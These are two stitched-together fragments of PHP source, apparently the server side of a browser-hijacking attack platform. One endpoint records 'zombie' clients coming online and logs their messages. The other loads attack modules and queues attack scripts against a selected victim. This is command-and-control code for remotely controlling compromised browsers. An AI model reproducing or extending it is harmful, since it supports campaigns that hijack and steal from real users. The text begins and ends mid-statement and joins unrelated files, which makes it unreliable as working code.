} } else { $content = stripslashes($content); } } else { } return $content; } $res = "{}"; if (!empty($_REQUEST["i"]) && $_REQUEST["i"] !== "null" && $_REQUEST["i"] !== "undefined" && !empty($_REQUEST["t"]) && !empty($_REQUEST["l"])) { $ticket = $_REQUEST["t"]; $logMsg = $_REQUEST["l"]; $pmd_id = $_REQUEST["i"]; $db = new MySQL($log); if ($mysqli = $db->openDB()) { $pmd = new ProjectModuleData($mysqli, $log); $attackLog = new AttackLog($mysqli, $log); //如果 pmd_id 已存在 if (!$pmd->updateStatus($pmd_id, 1)) { //更新客户端状态信息为在线 $log->error("update zombie status failed!"); } if ($attackLog->insertLog($pmd_id, quotes($logMsg))) { $res = "{}"; } $db->closeDB(); } else { $log->error("Open database connection failed!"); } } echo $res;
$res["reason"] = "u are not login"; die(json_encode($res)); } $data = json_decode(file_get_contents('php://input'), true); $res = array("result" => false, "reason" => ""); if (empty($data) || $data === null) { $res["reason"] = "Data Illegal"; die(json_encode($res)); } $db = new MySQL($log); if ($mysqli = $db->openDB()) { $user = new User($mysqli, $log); $module = new Module($mysqli, $log); $pmd = new ProjectModuleData($mysqli, $log); $attackData = new AttackData($mysqli, $log); $attackLog = new AttackLog($mysqli, $log); //load attack module if ($data['op'] === 'load') { if ($module->getModuleByID($data['m_id'])) { $md = $module->getFields(); $md["author"] = $user->getUserByID($md['author_id']) ? $user->username : '******'; $res["result"] = true; $res["reason"] = $md; } } //send attack script if ($data['op'] === 'attack') { // do attack if (!empty($data['pmd_id']) && !empty($data['m_id'])) { $attackData->pmd_id = $data['pmd_id']; $attackData->module_id = $data['m_id'];